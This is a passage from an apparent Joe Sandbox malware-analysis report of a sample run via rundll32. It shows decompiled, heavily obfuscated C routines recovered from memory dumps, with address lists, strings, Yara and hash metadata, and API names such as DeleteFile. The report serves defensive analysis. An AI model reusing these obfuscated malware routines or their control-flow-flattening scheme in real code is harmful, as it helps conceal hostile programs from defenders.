				_v24 = _v24 << 0xa;
				_v24 = _v24 ^ 0xbdb84581;
				_v24 = _v24 ^ 0xc32c71cc;
				_v20 = 0xb3ff18;
				_v20 = _v20 * 0x51;
				_v20 = _v20 + 0x2d3e;
				_v20 = _v20 | 0x05055505;
				_v20 = _v20 ^ 0x3df977cf;
				E029CC52A();
				_v36 = 0xd6ea69;
				_v36 = _v36 >> 1;
				_v36 = _v36 ^ 0x006b7530;
				_v8 = 0x523f90;
				_v8 = _v8 + 0xffffe228;
				_v8 = _v8 ^ 0x005221a8;
				_push(_v36);
				_push(_t114);
				_t110 = E029D2CCF(_v8, _t114);
				_push(_t121);
				_push(_v20);
				_t122 = _t110;
				_push(_t122);
				_push(1);
				E029D8601(_v40, _v24);
				 *((short*)(_t121 + _t122 * 2)) = 0;
				return 0;
			}

0x029dcc47
0x029dcc4a
0x029dcc4c
0x029dcc4d
0x029dcc4e
0x029dcc53
0x029dcc5c
0x029dcc63
0x029dcc6a
0x029dcc71
0x029dcc75
0x029dcc79
0x029dcc7d
0x029dcc84
0x029dcc8b
0x029dcc8f
0x029dcc96
0x029dcc9d
0x029dcca4
0x029dccab
0x029dccb2
0x029dccb9
0x029dccc0
0x029dccc7
0x029dccce
0x029dccd5
0x029dccdc
0x029dcce3
0x029dccea
0x029dccf1
0x029dccf5
0x029dccfc
0x029dcd08
0x029dcd0b
0x029dcd0e
0x029dcd15
0x029dcd1c
0x029dcd23
0x029dcd27
0x029dcd2e
0x029dcd35
0x029dcd40
0x029dcd43
0x029dcd4a
0x029dcd51
0x029dcd5e
0x029dcd63
0x029dcd6d
0x029dcd70
0x029dcd77
0x029dcd7e
0x029dcd85
0x029dcd98
0x029dcd9b
0x029dcda0
0x029dcda5
0x029dcda6
0x029dcdac
0x029dcdb1
0x029dcdb2
0x029dcdb4
0x029dcdbe
0x029dcdc7

Strings

jN, xrefs: 029DCD15
0uk, xrefs: 029DCD70
d1f, xrefs: 029DCCC7

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: 0uk$d1f$jN
API String ID: 0-1634662418
Opcode ID: 2ed6974f9bc777f8b13fa5ff8d557c1f9ab6aed86fb500707cdd080a82b76788
Instruction ID: 1a6e2145883cd278a7c3b0a302236db56b19f173adcdefb44429dad8e073b8fa
Opcode Fuzzy Hash: 2ed6974f9bc777f8b13fa5ff8d557c1f9ab6aed86fb500707cdd080a82b76788
Instruction Fuzzy Hash: 984102B2C0131AEBCB48CFE5D94A4EEBBB1BB48314F208598D411B6250D7B85B48CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6EA001D0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 732COMMON

Download Yara Rule

Strings

<unknown>, xrefs: 6EA00253

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: Heap$AllocProcess
String ID: <unknown>
API String ID: 1617791916-1574992787
Opcode ID: e29eeef9e1e98b2f1b2a0d1151a2cf9612fe15608c59c12267e638360d414074
Instruction ID: a877c25a681e9507d13705e76f22c7d97d29f148ceeffd100b6de9ab93926db4
Opcode Fuzzy Hash: e29eeef9e1e98b2f1b2a0d1151a2cf9612fe15608c59c12267e638360d414074
Instruction Fuzzy Hash: A162BD70E042698FDB15CFA8E8A07DDBBB1AF4A308F2889A9D449B7241E7305DC5CF45

Uniqueness

Uniqueness Score: -1.00%

Function 6E9F1C10, Relevance: 2.8, Strings: 2, Instructions: 317COMMON

Download Yara Rule

Strings

{invalid syntax}, xrefs: 6E9F1F98
?, xrefs: 6E9F1CCB

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID:
String ID: ?${invalid syntax}
API String ID: 0-3691751180
Opcode ID: 1190b7e120b0935707a32cb85801f9d3b6b3dbf29237dcee226d29cddc94ad65
Instruction ID: 4194c1cd00f7f3b1af79b282875cead2817a09de2500bec02d96b786c31fe1f2
Opcode Fuzzy Hash: 1190b7e120b0935707a32cb85801f9d3b6b3dbf29237dcee226d29cddc94ad65
Instruction Fuzzy Hash: F2B118B1618326CFC7098EAAC490569B7A6EF97354F04871EE8A55B243D731D88BCFC1

Uniqueness

Uniqueness Score: -1.00%

Function 6E9F66E0, Relevance: 2.8, Strings: 2, Instructions: 252COMMON

Download Yara Rule

Strings

{invalid syntax}, xrefs: 6E9F697D
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6E9F66F9

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID:
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "${invalid syntax}
API String ID: 0-903684146
Opcode ID: 1838950bd65fbfa70af612c751546ce7f3e54f8beac6ab79ad69c3eaed79f0c5
Instruction ID: 3a69f74d7790226131e7b52ce90c72999b5ab9e08e7dac839e64027f56bf8738
Opcode Fuzzy Hash: 1838950bd65fbfa70af612c751546ce7f3e54f8beac6ab79ad69c3eaed79f0c5
Instruction Fuzzy Hash: B681F674B34302CFEB648EE69560366B7E6AF81314F14482DC8AA4B647D665D487CFC3

Uniqueness

Uniqueness Score: -1.00%

Function 029CA8E8, Relevance: 2.7, Strings: 2, Instructions: 191
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E029CA8E8(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int* _a16) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				void* __ecx;
				void* _t179;
				signed int _t193;
				void* _t205;
				signed int _t206;
				signed int _t207;
				signed int _t208;
				signed int _t209;
				signed int _t210;
				signed int _t211;
				void* _t214;
				signed int* _t229;
				void* _t230;
				signed int* _t233;

				_t229 = _a16;
				_push(_t229);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E029C8002(_t179);
				_v52 = 0x810acb;
				_t233 =  &(( &_v76)[6]);
				_v52 = _v52 | 0xf579fb2a;
				_v52 = _v52 + 0x8053;
				_t230 = 0;
				_v52 = _v52 ^ 0xf5fa7c3f;
				_t214 = 0x7a1b3bc;
				_v64 = 0x83b0e3;
				_v64 = _v64 << 0xa;
				_v64 = _v64 ^ 0x49b11c4c;
				_v64 = _v64 + 0xffffc307;
				_v64 = _v64 ^ 0x47725352;
				_v68 = 0xa94052;
				_v68 = _v68 ^ 0x994fb9f5;
				_t206 = 0x47;
				_v68 = _v68 / _t206;
				_v68 = _v68 + 0x4fb8;
				_v68 = _v68 ^ 0x0229cb52;
				_v28 = 0xe29c60;
				_t207 = 0x4b;
				_v28 = _v28 / _t207;
				_v28 = _v28 ^ 0x00060190;
				_v40 = 0x38178d;
				_v40 = _v40 << 0xd;
				_v40 = _v40 | 0x495d4982;
				_v40 = _v40 ^ 0x4bfcbc00;
				_v44 = 0x7b5d00;
				_v44 = _v44 + 0xd86d;
				_v44 = _v44 ^ 0x83b4a297;
				_v44 = _v44 ^ 0x83cb5af6;
				_v72 = 0xd3ccf9;
				_t208 = 0x5b;
				_v72 = _v72 / _t208;
				_v72 = _v72 >> 8;
				_v72 = _v72 >> 7;
				_v72 = _v72 ^ 0x000438ac;
				_v48 = 0xa9ed5a;
				_v48 = _v48 ^ 0xfe04eb01;
				_v48 = _v48 | 0x6c7b9cd7;
				_v48 = _v48 ^ 0xfef7a7a4;
				_v76 = 0xccb86d;
				_v76 = _v76 << 2;
				_t209 = 0x26;
				_v76 = _v76 * 0x1a;
				_v76 = _v76 ^ 0x0bda0460;
				_v76 = _v76 ^ 0x58f63024;
				_v20 = 0x683fe7;
				_t87 =  &_v20; // 0x683fe7
				_v20 =  *_t87 / _t209;
				_v20 = _v20 ^ 0x00096a72;
				_v24 = 0xd8499f;
				_v24 = _v24 + 0x2a1f;
				_v24 = _v24 ^ 0x00d32821;
				_v8 = 0x93cc81;
				_t210 = 0x18;
				_v8 = _v8 * 0x39;
				_v8 = _v8 ^ 0x20e46dcd;
				_v56 = 0x2b08d6;
				_v56 = _v56 ^ 0x9ddd476f;
				_v56 = _v56 >> 4;
				_v56 = _v56 | 0xd648cd6a;
				_v56 = _v56 ^ 0xdfde7af6;
				_v12 = 0xdd7dc6;
				_v12 = _v12 >> 0xa;
				_v12 = _v12 ^ 0x000ef8fc;
				_v32 = 0x8dac09;
				_v32 = _v32 >> 3;
				_v32 = _v32 / _t210;
				_v32 = _v32 ^ 0x000974ab;
				_v16 = 0xfcb0f;
				_t193 = _v16;
				_t211 = 0x56;
				_t228 = _t193 % _t211;
				_v16 = _t193 / _t211;
				_v16 = _v16 ^ 0x00043e34;
				_v36 = 0x13b770;
				_v36 = _v36 ^ 0x7a83de66;
				_v36 = _v36 * 0xc;
				_v36 = _v36 ^ 0xbec0e493;
				_v60 = 0x3134d7;
				_v60 = _v60 * 0x13;
				_v60 = _v60 + 0xffd2;
				_v60 = _v60 >> 2;
				_v60 = _v60 ^ 0x00e4f398;
				while(_t214 != 0x4517b01) {
					if(_t214 == 0x7a1b3bc) {
						_t214 = 0xffe68e2;
						continue;
					} else {
						if(_t214 == 0xef40865) {
							_t228 = _v4;
							_push(_t214);
							_t230 = E029D6F53(_v4);
							if(_t230 != 0) {
								_t214 = 0x4517b01;
								continue;
							}
						} else {
							if(_t214 != 0xffe68e2) {
								L11:
								if(_t214 != 0x8d4ec20) {
									continue;
								}
							} else {
								_t205 = E029D2E17(_t214, _t228, _v68, _t214, _v28, _v40, _v44,  &_v4, _v72, _v48, _a8, _v76, 0, _v52);
								_t233 =  &(_t233[0xc]);
								if(_t205 != 0) {
									_t214 = 0xef40865;
									continue;
								}
							}
						}
					}
					return _t230;
				}
				E029D2E17(_t214, _t228, _v8, _t214, _v56, _v12, _v32,  &_v4, _v16, _v36, _a8, _v60, _t230, _v64);
				_t233 =  &(_t233[0xc]);
				 *_t229 = _v4;
				_t214 = 0x8d4ec20;
				goto L11;
			}

0x029ca8ef
0x029ca8f3
0x029ca8f4
0x029ca8f8
0x029ca8fc
0x029ca900
0x029ca902
0x029ca907
0x029ca90f
0x029ca912
0x029ca91c
0x029ca924
0x029ca926
0x029ca92e
0x029ca933
0x029ca93b
0x029ca940
0x029ca948
0x029ca950
0x029ca958
0x029ca960
0x029ca96e
0x029ca973
0x029ca979
0x029ca981
0x029ca989
0x029ca995
0x029ca99a
0x029ca9a0
0x029ca9a8
0x029ca9b0
0x029ca9b5
0x029ca9bd
0x029ca9c5
0x029ca9cd
0x029ca9d5
0x029ca9dd
0x029ca9e5
0x029ca9f1
0x029ca9f6
0x029ca9fc
0x029caa01
0x029caa06
0x029caa0e
0x029caa16
0x029caa1e
0x029caa26
0x029caa2e
0x029caa36
0x029caa40
0x029caa41
0x029caa45
0x029caa4d
0x029caa55
0x029caa5d
0x029caa63
0x029caa67
0x029caa6f
0x029caa77
0x029caa7f
0x029caa87
0x029caa9d
0x029caaa0
0x029caaa4
0x029caaac
0x029caab4
0x029caabc
0x029caac1
0x029caac9
0x029caad1
0x029caad9
0x029caade
0x029caae6
0x029caaee
0x029caafb
0x029caaff
0x029cab07
0x029cab0f
0x029cab13
0x029cab14
0x029cab1b
0x029cab1f
0x029cab27
0x029cab2f
0x029cab3c
0x029cab40
0x029cab48
0x029cab55
0x029cab59
0x029cab61
0x029cab66
0x029cab6e
0x029cab78
0x029cabe3
0x00000000
0x029cab7a
0x029cab7c
0x029cabce
0x029cabd2
0x029cabd8
0x029cabdd
0x029cabdf
0x00000000
0x029cabdf
0x029cab7e
0x029cab84
0x029cac2e
0x029cac34
0x00000000
0x00000000
0x029cab8a
0x029cabb6
0x029cabbb
0x029cabc0
0x029cabc2
0x00000000
0x029cabc2
0x029cabc0
0x029cab84
0x029cab7c
0x029cac43
0x029cac43
0x029cac18
0x029cac24
0x029cac27
0x029cac29
0x00000000

Strings

RSrG, xrefs: 029CA950
?h, xrefs: 029CAA5D

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: RSrG$?h
API String ID: 0-3757341021
Opcode ID: ea1267a57d4e1c4c8d8bfa717b43c72df4ddf3ca31bab731561045f2e16873d8
Instruction ID: b8eefb7760c3d740ce35e47a3592ed91b7747babc6f5530dd01c592fbec5fcd9
Opcode Fuzzy Hash: ea1267a57d4e1c4c8d8bfa717b43c72df4ddf3ca31bab731561045f2e16873d8
Instruction Fuzzy Hash: 68911F725083859FC359CF65C98A91BFFF2FBD4758F50891DF28586220C3B6CA598B82

Uniqueness

Uniqueness Score: -1.00%

Function 029E2D4F, Relevance: 2.7, Strings: 2, Instructions: 182
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E029E2D4F() {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _t149;
				void* _t150;
				signed int _t152;
				void* _t157;
				void* _t174;
				void* _t179;
				signed int _t180;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				intOrPtr* _t185;
				signed int _t186;
				signed int* _t187;

				_t187 =  &_v56;
				_v44 = 0xad3fcd;
				_t157 = 0x7190101;
				_v44 = _v44 * 0x3e;
				_t179 = 0;
				_v44 = _v44 << 1;
				_v44 = _v44 + 0xffffc4e0;
				_v44 = _v44 ^ 0x53ebac2c;
				_v8 = 0x32e812;
				_v8 = _v8 ^ 0xd5651a21;
				_v8 = _v8 ^ 0xd558f20c;
				_v32 = 0x2bddb7;
				_t180 = 3;
				_v32 = _v32 * 0x60;
				_v32 = _v32 * 0x13;
				_v32 = _v32 ^ 0x8968c4ba;
				_v32 = _v32 ^ 0xb1e04144;
				_v36 = 0x4fa4;
				_v36 = _v36 << 0xb;
				_v36 = _v36 + 0xffff9f93;
				_v36 = _v36 << 9;
				_v36 = _v36 ^ 0xf971b043;
				_v40 = 0xe55cb9;
				_v40 = _v40 >> 8;
				_v40 = _v40 / _t180;
				_v40 = _v40 >> 7;
				_v40 = _v40 ^ 0x00006a07;
				_v24 = 0x538795;
				_v24 = _v24 + 0x5577;
				_v24 = _v24 << 7;
				_v24 = _v24 ^ 0x29ea8185;
				_v48 = 0x1aa07f;
				_t181 = 0xc;
				_v48 = _v48 / _t181;
				_v48 = _v48 << 0xe;
				_v48 = _v48 << 0xa;
				_v48 = _v48 ^ 0x0a0af8de;
				_v28 = 0x95389d;
				_t182 = 0x62;
				_v28 = _v28 / _t182;
				_v28 = _v28 >> 9;
				_v28 = _v28 ^ 0x0005078d;
				_v52 = 0x44e9a8;
				_v52 = _v52 ^ 0xf359dd32;
				_v52 = _v52 + 0xffffef83;
				_v52 = _v52 + 0x6900;
				_v52 = _v52 ^ 0xf31289ea;
				_v56 = 0x307bb6;
				_v56 = _v56 | 0x9c720155;
				_v56 = _v56 + 0xffff2839;
				_v56 = _v56 + 0x2bcd;
				_v56 = _v56 ^ 0x9c77b295;
				_v16 = 0xe37528;
				_v16 = _v16 >> 4;
				_v16 = _v16 + 0x7cb1;
				_v16 = _v16 ^ 0x0007a41f;
				_v20 = 0x5d470e;
				_v20 = _v20 >> 0xa;
				_v20 = _v20 | 0xdbf02943;
				_v20 = _v20 ^ 0xdbfd3edf;
				_v4 = 0xa59fd2;
				_v4 = _v4 ^ 0x83638072;
				_v4 = _v4 ^ 0x83cd49a7;
				_t156 = _v4;
				_t186 = _v4;
				_t183 = _v4;
				_v12 = 0x3008bf;
				_v12 = _v12 * 0x50;
				_v12 = _v12 + 0xbf06;
				_v12 = _v12 ^ 0x0f07fe25;
				while(1) {
					L1:
					_push(0x5c);
					while(1) {
						L2:
						do {
							L3:
							while(_t157 != 0x4d39b1b) {
								if(_t157 == 0x6932600) {
									E029C7CC1(_t186, _v16, _v20);
									_t157 = 0xa10ff98;
									while(1) {
										L1:
										_push(0x5c);
										goto L2;
									}
								} else {
									if(_t157 == 0x7190101) {
										_t157 = 0xcc54c18;
										continue;
									} else {
										if(_t157 == 0x944f76d) {
											_t152 = E029CC38F(_v40, _v44, _t156, _v24, _t183);
											_t187 =  &(_t187[3]);
											_t186 = _t152;
											_t150 = 0xb125357;
											_t157 =  !=  ? 0xb125357 : 0xa10ff98;
											_t174 = 0x5c;
											continue;
										} else {
											if(_t157 == 0xa10ff98) {
												E029C7CC1(_t156, _v4, _v12);
											} else {
												if(_t157 == _t150) {
													E029C2FCB(_v48, _v28, _t186, _v52, _v56);
													_t187 =  &(_t187[3]);
													_t179 =  !=  ? 1 : _t179;
													_t157 = 0x6932600;
													while(1) {
														L1:
														_push(0x5c);
														goto L2;
													}
												} else {
													if(_t157 != 0xcc54c18) {
														goto L21;
													} else {
														_t185 =  *0x29e5bd8 + 0x30;
														while( *_t185 != _t174) {
															_t185 = _t185 + 2;
														}
														_t183 = _t185 + 2;
														_t157 = 0x4d39b1b;
														L2:
														continue;
													}
												}
											}
										}
									}
								}
								L24:
								return _t179;
							}
							_t149 = E029E3231(_v32, _v8, _v36);
							_t156 = _t149;
							_t187 =  &(_t187[3]);
							if(_t149 == 0) {
								_t157 = 0x5e1f7f6;
								_t150 = 0xb125357;
								_t174 = 0x5c;
								goto L21;
							} else {
								_t157 = 0x944f76d;
								goto L1;
							}
							goto L24;
							L21:
						} while (_t157 != 0x5e1f7f6);
						goto L24;
					}
				}
			}

0x029e2d4f
0x029e2d52
0x029e2d61
0x029e2d6a
0x029e2d6e
0x029e2d70
0x029e2d74
0x029e2d7c
0x029e2d84
0x029e2d8c
0x029e2d94
0x029e2d9c
0x029e2dab
0x029e2dae
0x029e2db7
0x029e2dbb
0x029e2dc3
0x029e2dcb
0x029e2dd3
0x029e2dd8
0x029e2de0
0x029e2de5
0x029e2ded
0x029e2df5
0x029e2e02
0x029e2e06
0x029e2e0b
0x029e2e13
0x029e2e1b
0x029e2e23
0x029e2e28
0x029e2e30
0x029e2e3c
0x029e2e41
0x029e2e47
0x029e2e4c
0x029e2e51
0x029e2e59
0x029e2e65
0x029e2e68
0x029e2e6c
0x029e2e71
0x029e2e79
0x029e2e81
0x029e2e89
0x029e2e91
0x029e2e99
0x029e2ea1
0x029e2ea9
0x029e2eb1
0x029e2eb9
0x029e2ec1
0x029e2ec9
0x029e2ed1
0x029e2ed6
0x029e2ede
0x029e2ee6
0x029e2eee
0x029e2ef3
0x029e2efb
0x029e2f03
0x029e2f0b
0x029e2f13
0x029e2f1b
0x029e2f1f
0x029e2f23
0x029e2f27
0x029e2f34
0x029e2f38
0x029e2f40
0x029e2f48
0x029e2f48
0x029e2f48
0x029e2f4b
0x029e2f4b
0x029e2f50
0x00000000
0x029e2f50
0x029e2f62
0x029e3023
0x029e3029
0x029e2f48
0x029e2f48
0x029e2f48
0x00000000
0x029e2f4a
0x029e2f68
0x029e2f6e
0x029e300f
0x00000000
0x029e2f74
0x029e2f7a
0x029e2fee
0x029e2ff3
0x029e2ff6
0x029e2fff
0x029e3004
0x029e3009
0x00000000
0x029e2f7c
0x029e2f82
0x029e307c
0x029e2f88
0x029e2f8a
0x029e2fc6
0x029e2fcd
0x029e2fd3
0x029e2fd6
0x029e2f48
0x029e2f48
0x029e2f48
0x00000000
0x029e2f4a
0x029e2f8c
0x029e2f92
0x00000000
0x029e2f98
0x029e2f9e
0x029e2fa6
0x029e2fa3
0x029e2fa3
0x029e2fab
0x029e2fae
0x029e2f4b
0x00000000
0x029e2f4b
0x029e2f92
0x029e2f8a
0x029e2f82
0x029e2f7a
0x029e2f6e
0x029e3082
0x029e308b
0x029e308b
0x029e303f
0x029e3044
0x029e3046
0x029e304b
0x029e3059
0x029e305e
0x029e3063
0x00000000
0x029e304d
0x029e304d
0x00000000
0x029e304d
0x00000000
0x029e3064
0x029e3064
0x00000000
0x029e3070
0x029e2f4b

Strings

(u, xrefs: 029E2EC9
wU, xrefs: 029E2E1B

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: (u$wU
API String ID: 0-793206181
Opcode ID: 6d4022deda61ed06878b1b5fa10fe574a68ddff785fc40a3c174c524e6c6ad75
Instruction ID: c45d2de7a735feb7d08b657ec1a22e878b401b338aa9aecfed586168e6026f8d
Opcode Fuzzy Hash: 6d4022deda61ed06878b1b5fa10fe574a68ddff785fc40a3c174c524e6c6ad75
Instruction Fuzzy Hash: D68187719093019FD759CF21C98941FBBE5EBC8758F40991DF99AAA2A0D3B0CA09CF47

Uniqueness

Uniqueness Score: -1.00%

Function 029D0FC5, Relevance: 2.7, Strings: 2, Instructions: 163
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E029D0FC5(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				char _v600;
				void* _t195;
				void* _t196;
				signed int _t204;
				signed int _t205;
				signed int _t206;
				signed int _t207;
				signed int _t208;
				signed int _t209;
				intOrPtr _t234;

				_v72 = 0x5040d2;
				_v72 = _v72 + 0xffff6680;
				_v72 = _v72 ^ 0x00451051;
				_v24 = 0xdc69b4;
				_t204 = 0x29;
				_v24 = _v24 / _t204;
				_v24 = _v24 + 0x6f6a;
				_v24 = _v24 ^ 0x000126dc;
				_v64 = 0xddbf10;
				_v64 = _v64 + 0xffff57ce;
				_v64 = _v64 ^ 0x00db21e9;
				_v48 = 0x40d415;
				_t205 = 0x6b;
				_v48 = _v48 / _t205;
				_v48 = _v48 << 2;
				_v48 = _v48 ^ 0x000db88f;
				_v8 = 0x917b96;
				_v8 = _v8 | 0x3a0bbf6f;
				_t206 = 0x1d;
				_v8 = _v8 / _t206;
				_v8 = _v8 ^ 0x662bc135;
				_v8 = _v8 ^ 0x642e6c70;
				_v52 = 0x1e1e3e;
				_v52 = _v52 >> 2;
				_t207 = 0x41;
				_v52 = _v52 * 0x1a;
				_v52 = _v52 ^ 0x00c8f802;
				_v32 = 0x159085;
				_v32 = _v32 << 0xe;
				_v32 = _v32 >> 2;
				_v32 = _v32 ^ 0x190860f6;
				_v44 = 0x1e7a8d;
				_v44 = _v44 ^ 0xe483cce7;
				_v44 = _v44 * 0x3f;
				_v44 = _v44 ^ 0x42cd4a49;
				_v80 = 0xd9b21;
				_v80 = _v80 + 0xf2ec;
				_v80 = _v80 ^ 0x00079641;
				_v40 = 0xe4c4cc;
				_v40 = _v40 + 0xffffeadf;
				_v40 = _v40 / _t207;
				_v40 = _v40 ^ 0x000f24c7;
				_v76 = 0x5fc5d9;
				_v76 = _v76 >> 6;
				_v76 = _v76 ^ 0x000b4eba;
				_v16 = 0xbd230a;
				_v16 = _v16 | 0x7f4b32ef;
				_v16 = _v16 >> 0xd;
				_v16 = _v16 ^ 0x00081e50;
				_v60 = 0xfc183c;
				_v60 = _v60 >> 5;
				_v60 = _v60 ^ 0xa9a06389;
				_v60 = _v60 ^ 0xa9a12964;
				_v68 = 0x7adefe;
				_v68 = _v68 >> 0x10;
				_v68 = _v68 ^ 0x00051aba;
				_v20 = 0x9c09a0;
				_v20 = _v20 >> 4;
				_v20 = _v20 | 0xd9c7dd6c;
				_v20 = _v20 ^ 0xd9c49841;
				_v56 = 0x13e12a;
				_v56 = _v56 + 0xffff3873;
				_v56 = _v56 | 0x3c37dd2d;
				_v56 = _v56 ^ 0x3c30958c;
				_v12 = 0x3b69a1;
				_t208 = 0x2f;
				_v12 = _v12 / _t208;
				_v12 = _v12 ^ 0x213014ac;
				_v12 = _v12 >> 6;
				_v12 = _v12 ^ 0x008ae4f7;
				_v36 = 0x6b161;
				_t209 = 0x55;
				_v36 = _v36 / _t209;
				_v36 = _v36 + 0xffff6e24;
				_v36 = _v36 ^ 0xfff63bf6;
				_v28 = 0x44da49;
				_v28 = _v28 * 0x58;
				_v28 = _v28 + 0x6a02;
				_v28 = _v28 ^ 0x17aa1e25;
				_t195 = E029D0F17(_v72, _v24,  *0x29e5bd8 + 0x30, _v64, _v48);
				_t234 = _a4;
				_t160 =  &_v8; // 0x642e6c70
				_t161 = _t234 + 0x2c; // 0x8ae523
				_t196 = E029D0207( *_t160, _t161, _v52, _t195, _v32, _v44);
				_t242 = _t196;
				if(_t196 != 0) {
					_push(0x29c141c);
					E029E06A6(_t242,  *((intOrPtr*)(_a8 + 0x1c)), _v76, E029E0AD3(_v80, _v40, _t242), _v16, _v60,  &_v600, _v68);
					E029D2EED(_v20, _v56, _v12, _t199);
					E029C55C0(_v36,  &_v600, _v28);
				}
				return 1;
			}

0x029d0fce
0x029d0fd7
0x029d0fde
0x029d0fe5
0x029d0ff2
0x029d0ff7
0x029d0ffc
0x029d1003
0x029d100a
0x029d1011
0x029d1018
0x029d101f
0x029d1029
0x029d102e
0x029d1033
0x029d1037
0x029d103e
0x029d1045
0x029d104f
0x029d1054
0x029d1059
0x029d1060
0x029d1067
0x029d106e
0x029d1076
0x029d1077
0x029d107a
0x029d1081
0x029d1088
0x029d108c
0x029d1090
0x029d1097
0x029d109e
0x029d10a9
0x029d10ac
0x029d10b3
0x029d10ba
0x029d10c1
0x029d10c8
0x029d10cf
0x029d10db
0x029d10de
0x029d10e5
0x029d10ec
0x029d10f0
0x029d10f7
0x029d10fe
0x029d1105
0x029d1109
0x029d1110
0x029d1117
0x029d111b
0x029d1122
0x029d1129
0x029d1130
0x029d1134
0x029d113b
0x029d1142
0x029d1146
0x029d114d
0x029d1154
0x029d115b
0x029d1162
0x029d116b
0x029d1172
0x029d117e
0x029d1183
0x029d1188
0x029d118f
0x029d1193
0x029d119a
0x029d11a4
0x029d11a7
0x029d11aa
0x029d11b1
0x029d11b8
0x029d11c3
0x029d11c6
0x029d11cd
0x029d11e9
0x029d11f1
0x029d11fb
0x029d11fe
0x029d1201
0x029d1209
0x029d120b
0x029d1214
0x029d123d
0x029d124c
0x029d125d
0x029d1265
0x029d126d

Strings

pl.d, xrefs: 029D104C
jo, xrefs: 029D0FFC

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: DeleteFilelstrcmpi
String ID: jo$pl.d
API String ID: 1290836619-342083115
Opcode ID: 53bd907aaec2e02fed4e5802e91dffb3767c7b35a4f879812167a368811a84ce
Instruction ID: c658224c3b043fa143e7deae2d9d6d3da94526b7405752770b6a50fbab469c54
Opcode Fuzzy Hash: 53bd907aaec2e02fed4e5802e91dffb3767c7b35a4f879812167a368811a84ce
Instruction Fuzzy Hash: A5810072D0020DEBCF18CFE5D98A9DEBBB2FB44318F208119E415BA260D7B55A55CF54

Uniqueness

Uniqueness Score: -1.00%

Function 029E20F8, Relevance: 2.6, Strings: 2, Instructions: 144
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E029E20F8(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8) {
				char _v564;
				intOrPtr _v600;
				char _v604;
				signed int _v608;
				signed int _v612;
				signed int _v616;
				signed int _v620;
